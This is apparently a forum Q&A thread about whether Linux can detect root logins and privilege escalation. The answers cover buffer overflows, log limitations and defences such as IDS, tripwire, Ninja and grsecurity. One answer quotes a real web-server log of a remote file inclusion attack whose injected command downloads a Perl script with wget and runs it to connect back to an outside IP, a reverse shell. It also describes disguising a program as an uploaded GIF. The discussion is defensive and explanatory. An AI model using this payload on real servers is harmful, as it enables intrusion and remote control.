mjhjmtu

Everytime when I read about some local privilege escalation exploit (e.g. this).

I wonder if an OS can detect that there is someone logging in as root (or new root process starting)? Imagine a Gnu/Linux machine prepared with a configuration that,
if root logs into it (or detects some exploit to gain root privileges) the machine will interrupt/shutdown itself and a backup machine (with different configuration) will start or an admin will be notified...

Does my idea makes sense, or are most of the exploits undetectable due their nature?

Exploits by their very nature are trying to not be detected. So most exploits are not coming into the system through normal means, at least not initially. They'll typically use something like a buffer overflow to gain access to the system.

buffer overflow

This style of attack looks for portions of an application that are looking to take input from a user. Think about a web page and the various text boxes where you have to provide information by typing things into these text boxes. Each of these text boxes is a potential entry point for a would-be attacker.

The good news:

• most of these attacks are not gaining root access, they're gaining access to a user account specifically setup for the web server, so it typically has limited access to only web server files and functions.


• in breaking in the attacker has left a considerable trail in a number of areas.
  
  • The firewall logs
  
  
  • Webserver logs
  
  
  • Other potential security tool logs
  
  

The bad news:

• They've gained access to a system, and so have a beachhead where they can continue trying to break in further.


• The logs. Yes most of the time break-ins are not detected for weeks/months/years given that analyzing logs is both time consuming and error prone.

detecting root logins

Most systems are designed to not allow root logins so this attack vector isn't really an issue. Most attacks gain access to some other lower level account and then leverage up by finding additional vulnerabilities once they've established a beachhead on your system.

example #1:

A would be attacker could gain root access by doing the following:

1. Break into a system's web server account by finding a vulnerable web page that processes a user's input from some form through text boxes.


2. Once access to the web server account has been achieved, attempt to either gain shell access through the web server's account or attempt to get the web server account to run commands on your behalf.


3. Determine that there's a weakness in this particular system's version of a tool such as the command ls.


4. Overflow the tool ls to gain access to the root account.

example #2:

A would be attacker might not even be interested in gaining full control of your system. Most break-ins are only interested in collecting systems to be used as "slaves" for other uses. So often the attacker is only interested in getting their software installed on your system so that they can use the system, without ever even gaining full control of the system.

1. Determine that a certain web site has made available webapp X. Attacker knows that webapp X has a vulnerability where webapp X allows users to upload image files.


2. Attacker prepares a file called CMD.gif and uploads it. Maybe it's a user's avatar image on a forum site, for example. But CMD.gif isn't a image, it's actually a program, who's named CMD.gif.


3. Attacker uploads "image" to the forum site.


4. Now attacker "tricks" webapp X into running his "image".


5. Attacker makes calls with his browser to webapp X, but he calls it in ways the authors of webapp X never imagined. Nor did they design webapp X to disallow it.

web server log file of such an attack

201-67-28-XXX.bsace703.dsl.brasiltelecom.net.br - - [16/Sep/2006:15:18:53 -0300]
 "GET /cursosuperior/index.php?page=http://parit.org/CMD.gif?
 &cmd=cd%20/tmp;wget%20http://72.36.254.26/~fanta/dc.txt;perl%20dc.txt
 %2072.36.21.183%2021 HTTP/1.1" 200

NOTE: sample log from an Apache web server courtesy OSSEC.net.

Here the attacker is getting webapp X (index.php) to run CMD.gif which can then do the following:

1. cd /tmp


2. wget http://72.36.254.26/~fanta/dc.txt


3. perl dc.txt 72.36.21.183 21

So they've coaxed webapp X into changing directories to /tmp, download a file, dc.txt, and then run the file making a connection back to IP address 72.36.21.183 on port 21.

Disabling a "compromised" server

The idea that you can shut a server down that has "detected" an exploit is a good attempt, but it doesn't work for a couple of reasons.

1. If the attacker can get into the first system, then they can probably get into the second system.


2. Most systems are essentially clones of each other. They're easier to maintain, and keeping things simple (the same) is a hallmark of most things in IT and computers.


3. Different configurations means more work in maintaining the systems and more opportunities to make mistakes, which is usually what leads to a vulnerability to begin with.


4. The attackers goal might not be to break in, they might be trying to deny access to your service. This is called a denial of service (DoS).

Attempting to limit damage

I could go on and on but in general you have a few resources available when it comes to securing a system.

• Use tools such as tripwire to detect changes on a system's file system.


• Firewalls - limit access so that it's only explicitly allowed where needed, rather then having full access to everything.


• Analyze log files using tools to detect anomalies.


• Keep systems current and up to date with patches.


• Limit exposure - only install software that's needed on a system - if it doesn't need the gcc compiler installed, don't install it.


• IDS - intrusion detection software.

The OS can and does add a log entry every time someone logs in as root. But that doesn't do any good against privilege escalation bugs for many reasons.

Once the attacker is root, they can delete log entries. The only way to avoid this is to write the logs to some place the attacker cannot access, such as a write-once media or a remote machine.

Logins or processes started as root are a normal event. You don't want to be waken up everyday at 6am because the daily cron jobs are running. Detecting suspicious processes, network traffic and other behavior is a complex job based on heuristics; a tool doing this job is called an IDS (intrusion detection system).

A privilege escalation bug doesn't involve the attacker logging in, nor even necessarily executing new processes. The attacker exploits a bug in a running program and makes it execute whatever code he injects. While it is often convenient for the attacker to call other programs that are already present on the system, it is rarely necessary.

A good question!

On multi user systems you just need some safeguards should a local root exploit succeed.

The Ninja userland software constantly monitors for new root processes and possibly kills them if they are spawned from unexpected sources. A minus is that Ninja takes quite a bit of CPU and still a custom exploit might just be fast enough to kill the Ninja before the Ninja kills it.

Ninja is a privilege escalation detection  and  prevention system for GNU/Linux hosts. While running, it will monitor process activity on the local host, and keep track of  all processes  running  as root. If a process is spawned with UID or GID zero (root), ninja will log necessary information about this process, and optionally kill the process if it was spawned by an unauthorized user.

A safer alternative is to use a GRSEC patched kernel and it's RBAC (Role Based Access Control) features. With RBAC it is possible to strip the root user from all power so that gaining root is practically useless unless you also authenticate as admin role with gradm -a admin.

GRSEC also comes with PaX, which makes the kernel a lot more difficult to exploit.